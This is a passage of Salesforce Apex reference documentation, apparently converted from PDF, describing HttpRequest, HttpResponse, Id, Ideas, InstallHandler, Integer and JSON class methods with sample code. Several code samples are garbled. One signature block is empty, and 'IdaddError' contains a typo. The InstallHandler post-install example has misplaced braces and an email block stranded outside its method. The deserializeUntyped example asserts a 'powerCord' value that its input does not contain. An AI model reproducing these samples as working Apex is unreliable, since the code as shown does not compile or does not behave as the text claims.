If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.

setEndpoint(endpoint)
Specifies the endpoint for this request.

setHeader(key, value)
Sets the contents of the request header.

setMethod(method)
Sets the type of method to be used for the HTTP request.

setTimeout(timeout)
Sets the timeout in milliseconds for the request.

toString()
Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example, Endpoint=http://YourServer, Method=POST

getBody()
Retrieves the body of this request.

Signature
public String getBody()

Return Value
Type: String

getBodyAsBlob()
Retrieves the body of this request as a Blob.

Signature
public Blob getBodyAsBlob()

Return Value
Type: Blob

getBodyDocument()
Retrieves the body of this request as a DOM document.

Signature
public Dom.Document getBodyDocument()
Return Value
Type: Dom.Document

Example
Use this method as a shortcut for:

```java
String xml = httpRequest.getBody();
Dom.Document domDoc = new Dom.Document(xml);
```

getCompressed()
If true, the request body is compressed, false otherwise.

Signature
```
public Boolean getCompressed()
```

Return Value
Type: Boolean

getEndpoint()
Retrieves the URL for the endpoint of the external server for this request.

Signature
```
public String getEndpoint()
```

Return Value
Type: String

getHeader(key)
Retrieves the contents of the request header.

Signature
```
public String getHeader(String key)
```

Parameters

key
Type: String

Return Value
Type: String
getMethod()

Returns the type of method used by HttpRequest.

Signature

public String getMethod()

Return Value

Type: String

Usage

Examples of return values:
- DELETE
- GET
- HEAD
- POST
- PUT
- TRACE

setBody(body)

Sets the contents of the body for this request.

Signature

public Void setBody(String body)

Parameters

body
Type: String

Return Value

Type: Void

Usage

Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.

setBodyAsBlob(body)

Sets the contents of the body for this request using a Blob.
**Signature**

```java
public Void setBodyAsBlob(Blob body)
```

**Parameters**

`body`

Type: Blob

**Return Value**

Type: Void

**Usage**

Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.
The HTTP request and response sizes count towards the total heap size.

**setBodyDocument(document)**

Sets the contents of the body for this request. The contents represent a DOM document.

**Signature**

```java
```

**Parameters**

`document`

Type: Dom.Document

**Return Value**

Type: Void

**Usage**

Limit: 6 MB for synchronous Apex or 12 MB for asynchronous Apex.

**setClientCertificate(clientCert, password)**

This method is deprecated. Use `setClientCertificateName` instead.

**Signature**

```java
public Void setClientCertificate(String clientCert, String password)
```

**Parameters**

`clientCert`

Type: String
password
  Type: String

Return Value
Type: Void

Usage
If the server requires a client certificate for authentication, set the client certificate PKCS12 key store and password.

setClientCertificateName(certDevName)
If the external service requires a client certificate for authentication, set the certificate name.

Signature
public Void setClientCertificateName(String certDevName)

Parameters
certDevName
  Type: String

Return Value
Type: Void

Usage
See Using Certificates with HTTP Requests.

setCompressed(flag)
If true, the data in the body is delivered to the endpoint in the gzip compressed format. If false, no compression format is used.

Signature
public Void setCompressed(Boolean flag)

Parameters
flag
  Type: Boolean

Return Value
Type: Void
**setEndpoint(endpoint)**
Specifies the endpoint for this request.

**Signature**
```
public Void setEndpoint(String endpoint)
```

**Parameters**
- **endpoint**
  - Type: String
  - Possible values for the endpoint:
    - Endpoint URL
      ```
      https://my_endpoint.example.com/some_path
      ```
    - Named credential URL, which contains the scheme `callout`, the name of the named credential, and, optionally, an appended path
      ```
      callout:My_Named_Credential/some_path
      ```

**Return Value**
Type: Void

SEE ALSO:
- Named Credentials as Callout Endpoints

**setHeader(key, value)**
Sets the contents of the request header.

**Signature**
```
public Void setHeader(String key, String value)
```

**Parameters**
- **key**
  - Type: String
- **value**
  - Type: String

**Return Value**
Type: Void
Usage
Limit 100 KB.

setMethod (method)
Sets the type of method to be used for the HTTP request.

Signature
public Void setMethod(String method)

Parameters
method
  Type: String
  Possible values for the method type include:
  • DELETE
  • GET
  • HEAD
  • POST
  • PUT
  • TRACE

Return Value
Type: Void

Usage
You can also use this method to set any required options.

setTimeout (timeout)
Sets the timeout in milliseconds for the request.

Signature
public Void setTimeout(Integer timeout)

Parameters
timeout
  Type: Integer

Return Value
Type: Void
Usage

The timeout can be any value between 1 and 120,000 milliseconds.

**toString()**

Returns a string containing the URL for the endpoint of the external server for this request and the method used, for example, “Endpoint=http://YourServer, Method=POST”

**Signature**

```java
public String toString()
```

**Return Value**

Type: String

HttpResponse Class

Use the **HttpResponse** class to handle the HTTP response returned by the **Http** class.

**Namespace**

System

**Usage**

Use the XML classes or JSON Classes to parse XML or JSON content in the body of a response accessed by **HttpResponse**.

**Example**

In the following `getXmlStreamReader` example, content is retrieved from an external Web server, then the XML is parsed using the `XmlStreamReader` class.

```java
public class ReaderFromCalloutSample {

    public void getAndParse() {

        // Get the XML document from the external server
        Http http = new Http();
        HttpRequest req = new HttpRequest();
        req.setEndpoint('https://docsample.herokuapp.com/xmlSample');
        req.setMethod('GET');
        HttpResponse res = http.send(req);

        // Log the XML content
        System.debug(res.getBody());

        // Generate the HTTP response as an XML stream
        XmlStreamReader reader = res.getXmlStreamReader();
    }
}
```
// Read through the XML
while(reader.hasNext()) {
    System.debug('Event Type:' + reader.getEventType());
    if (reader.getEventType() == XmlTag.START_ELEMENT) {
        System.debug(reader.getLocalName());
    }
    reader.next();
}

SEE ALSO:
- JSON Support
- XML Support

HttpResponse Methods

The following are methods for HttpResponse. All are instance methods.

IN THIS SECTION:
- `getBody()`: Retrieves the body returned in the response.
- `getBodyAsBlob()`: Retrieves the body returned in the response as a Blob.
- `getBodyDocument()`: Retrieves the body returned in the response as a DOM document.
- `getHeader(key)`: Retrieves the contents of the response header.
- `getHeaderKeys()`: Retrieves an array of header keys returned in the response.
- `getStatus()`: Retrieves the status message returned for the response.
- `getStatusCode()`: Retrieves the value of the status code returned in the response.
- `getXmlStreamReader()`: Returns an XmlStreamReader that parses the body of the callout response.
- `setBody(body)`: Specifies the body returned in the response.
- `setBodyAsBlob(body)`: Specifies the body returned in the response using a Blob.
- `setHeader(key, value)`: Specifies the contents of the response header.
setStatus(status)
Specifies the status message returned in the response.

setStatusCode(statusCode)
Specifies the value of the status code returned in the response.

toString()
Returns the status message and status code returned in the response, for example:

getBody()
Retrieves the body returned in the response.

**Signature**

```java
public String getBody()
```

**Return Value**

Type: String

**Usage**

Limit 6 MB for synchronous Apex or 12 MB for asynchronous Apex. The HTTP request and response sizes count towards the total heap size.

getBodyAsBlob()
Retrieves the body returned in the response as a Blob.

**Signature**

```java
public Blob getBodyAsBlob()
```

**Return Value**

Type: Blob

**Usage**

Limit 6 MB for synchronous Apex or 12 MB for asynchronous Apex. The HTTP request and response sizes count towards the total heap size.

getBodyDocument()
Retrieves the body returned in the response as a DOM document.

**Signature**

```java
public Dom.Document getBodyDocument()
```
Return Value
Type: Dom.Document

Example
Use it as a shortcut for:

```java
String xml = httpResponse.getBody();
Dom.Document domDoc = new Dom.Document(xml);
```

`getHeader(key)`
Retrieves the contents of the response header.

Signature
```java
public String getHeader(String key)
```

Parameters
`key`
Type: String

Return Value
Type: String

`getHeaderKeys()`
Retrieves an array of header keys returned in the response.

Signature
```java
public String[] getHeaderKeys()
```

Return Value
Type: String[]

`getStatus()`
Retrieves the status message returned for the response.

Signature
```java
public String getStatus()
```

Return Value
Type: String
getStatusCode()
Retrieves the value of the status code returned in the response.

Signature
public Integer getStatusCode()

ReturnType
Type: Integer

getXmlStreamReader()
Returns an XmlStreamReader that parses the body of the callout response.

Signature
public XmlStreamReader getXmlStreamReader()

ReturnType
Type: System.XmlStreamReader

Usage
Use it as a shortcut for:

```java
String xml = httpResponse.getBody();
XmlStreamReader xsr = new XmlStreamReader(xml);
```

setBody (body)
Specifies the body returned in the response.

Signature
public Void setBody(String body)

Parameters
body
  Type: String

ReturnType
Type: Void

setBodyAsBlob (body)
Specifies the body returned in the response using a Blob.
Signature

```java
public Void setBodyAsBlob(Blob body)
```

Parameters

body
  Type: Blob

Return Value

Type: Void

`setHeader(key, value)`

Specifies the contents of the response header.

Signature

```java
public Void setHeader(String key, String value)
```

Parameters

key
  Type: String

value
  Type: String

Return Value

Type: Void

`setStatus(status)`

Specifies the status message returned in the response.

Signature

```java
public Void setStatus(String status)
```

Parameters

status
  Type: String

Return Value

Type: Void
**setStatusCode(statusCode)**

Specifies the value of the status code returned in the response.

**Signature**

```java
public Void setStatusCode(Integer statusCode)
```

**Parameters**

`statusCode`

Type: `Integer`

**Return Value**

Type: `Void`

**toString()**

Returns the status message and status code returned in the response, for example:

**Signature**

```java
public String toString()
```

**Return Value**

Type: `String`

**Example**

```
Status=OK, StatusCode=200
```

---

**Id Class**

Contains methods for the ID primitive data type.

**Namespace**

`System`

**Example: Getting an sObject Token From an ID**

This sample shows how to use the `getObjectType` method to obtain an sObject token from an ID. The `updateOwner` method in this sample accepts a list of IDs of the sObjects to update the ownerId field of. This list contains IDs of sObjects of the same type. The second parameter is the new owner ID. Note that since it is a future method, it doesn't accept sObject types as parameters; this is why
Reference

Id Class

it accepts IDs of sObjects. This method gets the sObject token from the first ID in the list, then does a describe to obtain the object name
and constructs a query dynamicallly. It then queries for all sObjects and updates their owner ID fields to the new owner ID.
public class MyDynamicSolution {
@future
public static void updateOwner(List<ID> objIds, ID newOwnerId) {
// Validate input
System.assert(objIds != null);
System.assert(objIds.size() > 0);
System.assert(newOwnerId != null);
// Get the sObject token from the first ID
// (the List contains IDs of sObjects of the same type).
Schema.SObjectType token = objIds[0].getSObjectType();
// Using the token, do a describe
// and construct a query dynamically.
Schema.DescribeSObjectResult dr = token.getDescribe();
String queryString = 'SELECT ownerId FROM ' + dr.getName() +
' WHERE ';
for(ID objId : objIds) {
queryString += 'Id=\'' + objId + '\' OR ';
}
// Remove the last ' OR'
queryString = queryString.subString(0, queryString.length() - 4);
sObject[] objDBList = Database.query(queryString);
System.assert(objDBList.size() > 0);
// Update the owner ID on the sObjects
for(Integer i=0;i<objDBList.size();i++) {
objDBList[i].put('ownerId', newOwnerId);
}
Database.SaveResult[] srList = Database.update(objDBList, false);
for(Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
System.debug('Updated owner ID successfully for ' +
dr.getName() + ' ID ' + sr.getId());
}
else {
System.debug('Updating ' + dr.getName() + ' returned the following errors.');
for(Database.Error e : sr.getErrors()) {
System.debug(e.getMessage());
}
}
}
}
}

Id Methods
The following are methods for Id.

1981


IN THIS SECTION:

- `addError(errorMsg)`
  Marks a record with a custom error message and prevents any DML operation from occurring.

- `addError(errorMsg, escape)`
  Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML operation from occurring.

- `addError(exceptionError)`
  Marks a record with a custom error message and prevents any DML operation from occurring.

- `addError(exceptionError, escape)`
  Marks a record with a custom error message and prevents any DML operation from occurring.

- `getSObjectType()`
  Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.

- `valueOf(toID)`
  Converts the specified String into an ID and returns the ID.

### `addError(errorMsg)`
Marks a record with a custom error message and prevents any DML operation from occurring.

**Signature**

```
public Void addError(String errorMsg)
```

**Parameters**

- `errorMsg`
  Type: `String`
  The error message to mark the record with.

**Return Value**

Type: `Void`

**Usage**

This method is similar to the `addError(errorMsg)` sObject method.

**Note:** This method escapes any HTML markup in the specified error message. The escaped characters are: `\n`, `<`, `>`, `&`, ``, ` `, ` `, and `©`. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

**Example**

```
Trigger.new[0].Id.addError('bad');
```
addError(errorMsg, escape)

Marks a record with a custom error message, specifies whether or not the error message should be escaped, and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(String errorMsg, Boolean escape)
```

**Parameters**

- **errorMsg**
  - Type: `String`
  - The error message to mark the record with.

- **escape**
  - Type: `Boolean`
  - Indicates whether any HTML markup in the custom error message should be escaped (`true`) or not (`false`).

**Return Value**

Type: Void

**Usage**

The escaped characters are: \n, <, >, &, "", \, \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

⚠️ **Warning**: Be cautious if you specify `false` for the `escape` argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a `false` `escape` argument and make sure you escape any dynamic content, such as input field values. Otherwise, specify `true` for the `escape` argument or call `addError(String errorMsg)` instead.

**Example**

```java
Trigger.new[0].Id.addError('Fix & resubmit', false);
```

addError(exceptionError)

Marks a record with a custom error message and prevents any DML operation from occurring.

**Signature**

```java
public Void addError(Exception exceptionError)
```

**Parameters**

- **exceptionError**
  - Type: `System.Exception`

**Example**

```java
addError(exceptionError);
```
An Exception object or a custom exception object that contains the error message to mark the record with.

Return Value
Type: Void

Usage
This method is similar to the `addError(exceptionError)` sObject method.

Note: This method escapes any HTML markup in the specified error message. The escaped characters are: \n, <, >, &," , \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

Example
```java
public class MyException extends Exception{}

Trigger.new[0].IdaddError(new myException('Invalid Id'));
```

`addError(exceptionError, escape)`
Marks a record with a custom error message and prevents any DML operation from occurring.

Signature
```java
public Void addError(Exception exceptionError, Boolean escape)
```

Parameters
- `exceptionError`
  Type: `System.Exception`
  An Exception object or a custom exception object that contains the error message to mark the record with.

- `escape`
  Type: `Boolean`
  Indicates whether any HTML markup in the custom error message should be escaped (`true`) or not (`false`).

Return Value
Type: Void

Usage
The escaped characters are: \n, <, >, &," , \u2028, \u2029, and \u00a9. This results in the HTML markup not being rendered; instead it is displayed as text in the Salesforce user interface.

Warning: Be cautious if you specify `false` for the `escape` argument. Unescaped strings displayed in the Salesforce user interface can represent a vulnerability in the system because these strings might contain harmful code. If you want to include HTML markup in the error message, call this method with a `false` `escape` argument and make sure you escape any dynamic...
content, such as input field values. Otherwise, specify `true` for the `escape` argument or call `addError(Exception e)` instead.

**Example**

```java
public class MyException extends Exception{}

account a = new account();
a.addError(new MyException('Invalid Id & other issues'), false);
```

### getSObjectType()

Returns the token for the sObject corresponding to this ID. This method is primarily used with describe information.

**Signature**

```java
public Schema.SObjectType getSObjectType()
```

**Return Value**

Type: `Schema.SObjectType`

**Usage**

For more information about describes, see Understanding Apex Describe Information.

**Example**

```java
account a = new account(name = 'account');
insert a;
Id myId = a.id;
system.assertEquals(Schema.Account.SObjectType, myId.getSobjectType());
```

### valueOf(toID)

Converts the specified String into an ID and returns the ID.

**Signature**

```java
public static ID valueOf(String toID)
```

**Parameters**

- **toID**
  Type: `String`

**Return Value**

Type: `ID`
Example

```java
Id myId = Id.valueOf('001xa000003DIlo');
```

## Ideas Class

Represents zone ideas.

### Namespace

**System**

### Usage

Ideas is a community of users who post, vote for, and comment on ideas. An Ideas community provides an online, transparent way for you to attract, manage, and showcase innovation.

A set of recent replies (returned by methods, see below) includes ideas that a user has posted or commented on that already have comments posted by another user. The returned ideas are listed based on the time of the last comment made by another user, with the most recent ideas appearing first.

The `userId` argument is a required argument that filters the results so only the ideas that the specified user has posted or commented on are returned.

The `communityId` argument filters the results so only the ideas within the specified zone are returned. If this argument is the empty string, then all recent replies for the specified user are returned regardless of the zone.

For more information on ideas, see “Using Ideas” in the Salesforce online help.

### Example

The following example finds ideas in a specific zone that have similar titles as a new idea:

```java
public class FindSimilarIdeasController {
    public static void test() {
        // Instantiate a new idea
        Idea idea = new Idea();

        // Specify a title for the new idea
        idea.Title = 'Increase Vacation Time for Employees';

        // Specify the communityID (INTERNAL_IDEAS) in which to find similar ideas.
        Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_IDEAS' ];

        idea.CommunityId = community.Id;

        ID[] results = Ideas.findSimilar(idea);
    }
}
```

The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more information on Visualforce, see the Visualforce Developer’s Guide.
This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example for the `getAllRecentReplies` and `getReadRecentReplies` methods. For this example to work, there must be ideas posted to the zone. In addition, at least one zone member must have posted a comment to another zone member’s idea or comment.

```apex
// Create an Apex method to retrieve the recent replies marked as unread in all communities
class IdeasController {

    public Idea[] getUnreadRecentReplies() {
        Idea[] recentReplies;
        if (recentReplies == null) {
            Id[] recentRepliesIds = Ideas.getUnreadRecentReplies(UserInfo.getUserId(), '');
            recentReplies = [SELECT Id, Title FROM Idea WHERE Id IN :recentRepliesIds];
        }
        return recentReplies;
    }
}
```

The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.

```xml
<apex:page controller="IdeasController" showHeader="false">
    <apex:dataList value="{!unreadRecentReplies}" var="recentReplyIdea">
        <a href="/apex/viewIdea?id={!recentReplyIdea.Id}"
            escape="true"/>
    </apex:dataList>
</apex:page>
```

The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce page and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas posted to the zone.

```apex
// Create a controller to use on a VisualForce page to list ideas
class IdeaListController {

    public final Idea[] ideas {get; private set;}

    public IdeaListController() {
        Integer i = 0;
        ideas = new Idea[10];
        for (Idea tmp : Database.query
            ('SELECT Id, Title FROM Idea WHERE Id != null AND parentIdeaId = null LIMIT 10')) {
            i++;
            ideas.add(tmp);
        }
    }
}
```

The following is the markup for a Visualforce page that uses the above custom controller to list ideas:

```xml
<apex:page controller="IdeaListController" tabStyle="Idea" showHeader="false">
    <apex:outputText value="{!recentReplyIdea.Title}" escape="true"/>
</apex:page>
```
The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the above idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the user that is currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately when the user goes to a page that uses this controller. For this example to work, there must be ideas posted to the zone. In addition, at least one zone member must have posted a comment to another zone member’s idea or comment.

```java
// Create an Apex method in the controller that marks all comments as read for the selected idea
public class ViewIdeaController {
    private final String id = System.currentPage().getParameters().get('id');

    public ViewIdeaController(ApexPages.StandardController controller) {
        Ideas.markRead(id);
    }
}
```

The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.

```xml
<apex:page standardController="Idea" extensions="ViewIdeaController" showHeader="false">
    <h2><apex:outputText value="{!idea.title}" /></h2>
    <apex:outputText value="{!idea.body}" />
</apex:page>
```

## Ideas Methods

The following are methods for Ideas. All methods are static.

### IN THIS SECTION:
- `findSimilar(idea)`: Returns a list similar ideas based on the title of the specified idea.
- `getAllRecentReplies(userID, communityID)`: Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.
- `getReadRecentReplies(userID, communityID)`: Returns ideas that have recent replies marked as read.
- `getUnreadRecentReplies(userID, communityID)`: Returns ideas that have recent replies marked as unread.
- `markRead(ideaID)`: Marks all comments as read for the user that is currently logged in.
**findSimilar(idea)**
Returns a list similar ideas based on the title of the specified idea.

**Signature**
```java
public static ID[] findSimilar(Idea idea)
```

**Parameters**
- **idea**
  - Type: Idea

**Return Value**
Type: ID[]

**Usage**
Each `findSimilar` call counts against the SOSL statement governor limit allowed for the process.

**getAllRecentReplies(userID, communityID)**
Returns ideas that have recent replies for the specified user or zone. This includes all read and unread replies.

**Signature**
```java
public static ID[] getAllRecentReplies(String userID, String communityID)
```

**Parameters**
- **userID**
  - Type: String
- **communityID**
  - Type: String

**Return Value**
Type: ID[]

**getReadRecentReplies(userID, communityID)**
Returns ideas that have recent replies marked as read.

**Signature**
```java
public static ID[] getReadRecentReplies(String userID, String communityID)
```
Parameters

(userID
  Type: String
communityID
  Type: String

Return Value
Type: ID[]

getUnreadRecentReplies(userID, communityID)
Returns ideas that have recent replies marked as unread.

Signature
public static ID[] getUnreadRecentReplies(String userID, String communityID)

Parameters

(userID
  Type: String
communityID
  Type: String

Return Value
Type: ID[]

markRead(ideaID)
Marks all comments as read for the user that is currently logged in.

Signature
public static Void markRead(String ideaID)

Parameters

ideaID
  Type: String

Return Value
Type: Void

InstallHandler Interface
Enables custom code to run after a managed package installation or upgrade.
Namespace

System

Usage

App developers can implement this interface to specify Apex code that runs automatically after a subscriber installs or upgrades a managed package. This makes it possible to customize the package install or upgrade, based on details of the subscriber's organization. For instance, you can use the script to populate custom settings, create sample data, send an email to the installer, notify an external system, or kick off a batch operation to populate a new field across a large set of data.

The post install script is invoked after tests have been run, and is subject to default governor limits. It runs as a special system user that represents your package, so all operations performed by the script appear to be done by your package. You can access this user by using UserInfo. You will only see this user at runtime, not while running tests.

If the script fails, the install/upgrade is aborted. Any errors in the script are emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the install/upgrade details will be unavailable.

The post install script has the following additional properties.

- It can initiate batch, scheduled, and future jobs.
- It can access Session IDs.
- It can only perform callouts using an async operation. The callout occurs after the script is run and the install is complete and committed.

The InstallHandler interface has a single method called onInstall, which specifies the actions to be performed on install/upgrade.

```
global interface InstallHandler {
    void onInstall(InstallContext context)
}
```

The onInstall method takes a context object as its argument, which provides the following information.

- The org ID of the organization in which the installation takes place.
- The user ID of the user who initiated the installation.
- The version number of the previously installed package (specified using the Version class). This is always a three-part number, such as 1.2.0.
- Whether the installation is an upgrade.
- Whether the installation is a push.

The context argument is an object whose type is the InstallContext interface. This interface is automatically implemented by the system. The following definition of the InstallContext interface shows the methods you can call on the context argument.

```
global interface InstallContext {
    ID organizationId();
    ID installerId();
    Boolean isUpgrade();
    Boolean isPush();
    Version previousVersion();
}
```

IN THIS SECTION:

InstallHandler Methods
InstallHandler Example Implementation

InstallHandler Methods
The following are methods for InstallHandler.

IN THIS SECTION:

onInstall(context)
Specifies the actions to be performed on install/upgrade.

Signature
public Void onInstall(InstallContext context)

Parameters
context
Type: System.InstallContext

Return Value
Type: Void

InstallHandler Example Implementation
The following sample post install script performs these actions on package install/upgrade.

• If the previous version is null, that is, the package is being installed for the first time, the script:
  – Creates a new Account called “Newco” and verifies that it was created.
  – Creates a new instance of the custom object Survey, called “Client Satisfaction Survey”.
  – Sends an email message to the subscriber confirming installation of the package.

• If the previous version is 1.0, the script creates a new instance of Survey called “Upgrading from Version 1.0”.

• If the package is an upgrade, the script creates a new instance of Survey called “Sample Survey during Upgrade”.

• If the upgrade is being pushed, the script creates a new instance of Survey called “Sample Survey during Push”.

global class PostInstallClass implements InstallHandler {
global void onInstall(InstallContext context) {
    if(context.previousVersion() == null) {
        Account a = new Account(name='Newco');
        insert a;

        Survey__c obj = new Survey__c(name='Client Satisfaction Survey');
        insert obj;
    }

    if(context.previousVersion() == '1.0') {
        Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
        insert obj;
    }

    // Other upgrade cases...
}
User u = [Select Id, Email from User where Id =:context.installerID()];
String toAddress= u.Email;
String[] toAddresses = new String[]{toAddress};
Messaging.SingleEmailMessage mail =
    new Messaging.SingleEmailMessage();
mail.setToAddresses(toAddresses);
mail.setReplyTo('support@package.dev');
mail.setSenderDisplayName('My Package Support');
mail.setSubject('Package install successful');
mail.setPlainTextBody('Thanks for installing the package.');
Messaging.sendEmail(new Messaging.Email[] { mail });
}
else
    if(context.previousVersion().compareTo(new Version(1,0)) == 0) {
        Survey__c obj = new Survey__c(name='Upgrading from Version 1.0');
        insert(obj);
    }
    if(context.isUpgrade()) {
        Survey__c obj = new Survey__c(name='Sample Survey during Upgrade');
        insert obj;
    }
    if(context.isPush()) {
        Survey__c obj = new Survey__c(name='Sample Survey during Push');
        insert obj;
    }
}
}

You can test a post install script using the new testInstall method of the Test class. This method takes the following arguments.

- A class that implements the InstallHandler interface.
- A Version object that specifies the version number of the existing package.
- An optional Boolean value that is true if the installation is a push. The default is false.

This sample shows how to test a post install script implemented in the PostInstallClass Apex class.

@isTest
static void testInstallScript() {
    PostInstallClass postinstall = new PostInstallClass();
    Test.testInstall(postinstall, null);
    Test.testInstall(postinstall, new Version(1,0), true);
    List<Account> a = [Select id, name from Account where name = 'Newco'];
    System.assertEquals(a.size(), 1, 'Account not found');
}

Integer Class
Contains methods for the Integer primitive data type.

Namespace
System
Usage
For more information on integers, see Primitive Data Types on page 27.

Integer Methods
The following are methods for Integer.

IN THIS SECTION:

format()
Returns the integer as a string using the locale of the context user.

valueOf(stringToInteger)
Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal integer.

valueOf(fieldValue)
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an Integer value.

format()
Returns the integer as a string using the locale of the context user.

Signature
public String format()

Return Value
Type: String

Example

integer myInt = 22;
system.assertEquals('22', myInt.format());

valueOf(stringToInteger)
Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal integer.

Signature
public static Integer valueOf(String stringToInteger)

Parameters

stringToInteger
Type: String
Return Value
Type: Integer

Example
```
Integer myInt = Integer.valueOf('123');
```

valueOf(fieldValue)
Converts the specified object to an Integer. Use this method to convert a history tracking field value or an object that represents an Integer value.

Signature
```
public static Integer valueOf(Object fieldValue)
```

Parameters
fieldValue
Type: Object

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field type corresponds to an Integer type, like a number field.

Example:
```
List<AccountHistory> ahlist =
    [SELECT Field,OldValue,NewValue
     FROM AccountHistory];
for(AccountHistory ah : ahlist) {
    System.debug('Field: ' + ah.Field);
    if (ah.field == 'NumberOfEmployees') {
        Integer oldValue =
            Integer.valueOf(ah.OldValue);
        Integer newValue =
            Integer.valueOf(ah.NewValue);
    }
}
```

JSON Class
Contains methods for serializing Apex objects into JSON format and deserializing JSON content that was serialized using the serialize method in this class.
Namespace

System

Usage

Use the methods in the System.JSON class to perform round-trip JSON serialization and deserialization of Apex objects.

SEE ALSO:
Roundtrip Serialization and Deserialization

JSON Methods

The following are methods for JSON. All methods are static.

IN THIS SECTION:

createGenerator(prettyPrint)
Returns a new JSON generator.

createParser(jsonString)
Returns a new JSON parser.

deserialize(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.

serialize(objectToSerialize)
Serializes Apex objects into JSON content.

serializePretty(objectToSerialize)
Serializes Apex objects into JSON content and generates indented content using the pretty-print format.

createGenerator(prettyPrint)

Returns a new JSON generator.

Signature

public static System.JSONGenerator createGenerator(Boolean prettyPrint)

Parameters

prettyPrint
Type: Boolean
Determines whether the JSON generator creates JSON content in pretty-print format with the content indented. Set to true to create indented content.
**Return Value**
Type: `System.JSONGenerator`

**createParser(jsonString)**
Returns a new JSON parser.

**Signature**
```
public static System.JSONParser createParser(String jsonString)
```

**Parameters**
`jsonString`
Type: `String`
The JSON content to parse.

**Return Value**
Type: `System.JSONParser`

**deserialize(jsonString, apexType)**
Deserializes the specified JSON string into an Apex object of the specified type.

**Signature**
```
public static Object deserialize(String jsonString, System.Type apexType)
```

**Parameters**
`jsonString`
Type: `String`
The JSON content to deserialize.
`apexType`
Type: `System.Type`
The Apex type of the object that this method creates after deserializing the JSON content.

**Return Value**
Type: `Object`

**Usage**
If the JSON content contains attributes not present in the `System.Type` argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content into a custom object or an `sObject` using Salesforce API version 34.0 or earlier, this method throws a runtime exception when passed extraneous attributes. When deserializing JSON content into an Apex class in any API version, or into an object in API version 35.0 or later, no exception is thrown. When no exception is thrown, this method ignores extraneous attributes and parses the rest of the JSON content.
Example
The following example deserializes a Decimal value.

```java
Decimal n = (Decimal)JSON.deserialize(
    '100.1', Decimal.class);
System.assertEquals(n, 100.1);
```

deserializeStrict(jsonString, apexType)
Deserializes the specified JSON string into an Apex object of the specified type.

Signature
public static Object deserializeStrict(String jsonString, System.Type apexType)

Parameters
jsonString
Type: String
The JSON content to deserialize.

apexType
Type: System.Type
The Apex type of the object that this method creates after deserializing the JSON content.

Return Value
Type: Object

Usage
All attributes in the JSON string must be present in the specified type. If the JSON content contains attributes not present in the System.Type argument, such as a missing field or object, deserialization fails in some circumstances. When deserializing JSON content with extraneous attributes into an Apex class, this method throws an exception in all API versions. However, no exception is thrown when you use this method to deserialize JSON content into a custom object or an sObject.

Example
The following example deserializes a JSON string into an object of a user-defined type represented by the Car class, which this example also defines.

```java
public class Car {
    public String make;
    public String year;
}

public void parse() {
    Car c = (Car)JSON.deserializeStrict(
        '{"make":"SFDC","year":"2020"}',
        Car.class);
    System.assertEquals(c.make, 'SFDC');
}
System.assertEquals(c.year, '2020');
}

### deserializeUntyped(jsonString)
Deserializes the specified JSON string into collections of primitive data types.

**Signature**

```java
public static Object deserializeUntyped(String jsonString)
```

**Parameters**

- `jsonString`
  
  **Type:** String
  
  The JSON content to deserialize.

**Return Value**

- **Type:** Object

**Example**

The following example deserializes a JSON representation of an appliance object into a map that contains primitive data types and further collections of primitive types. It then verifies the deserialized values.

```java
String jsonInput = '{
  "description": "An appliance",
  "accessories": [{
    "right": "door handle1",
    "left": "door handle2"
  }],
  "dimensions": {
    "height": 5.5,
    "width": 3.0,
    "depth": 2.2
  },
  "type": null,
  "inventory": 2000,
  "price": 1023.45,
  "isShipped": true,
  "modelNumber": "123"
}';

Map<String, Object> m =
  (Map<String, Object>) JSON.deserializeUntyped(jsonInput);

System.assertEquals('An appliance', m.get('description'));
List<Object> a =
  (List<Object>) m.get('accessories');
System.assertEquals('powerCord', a[0]);
```
Map<String, Object> a2 = (Map<String, Object>)a[1];
System.assertEquals('door handle1', a2.get('right'));
System.assertEquals('door handle2', a2.get('left'));

Map<String, Object> dim = (Map<String, Object>)m.get('dimensions');
System.assertEquals(5.5, dim.get('height'));
System.assertEquals(3.0, dim.get('width'));
System.assertEquals(2.2, dim.get('depth'));
System.assertEquals(null, m.get('type'));
System.assertEquals(2000, m.get('inventory'));
System.assertEquals(1023.45, m.get('price'));
System.assertEquals(true, m.get('isShipped'));
System.assertEquals('123', m.get('modelNumber'));

### serialize(objectToSerialize)

Serializes Apex objects into JSON content.

**Signature**

```java
public static String serialize(Object objectToSerialize)
```

**Parameters**

- `objectToSerialize`  
  Type: `Object`  
  The Apex object to serialize.

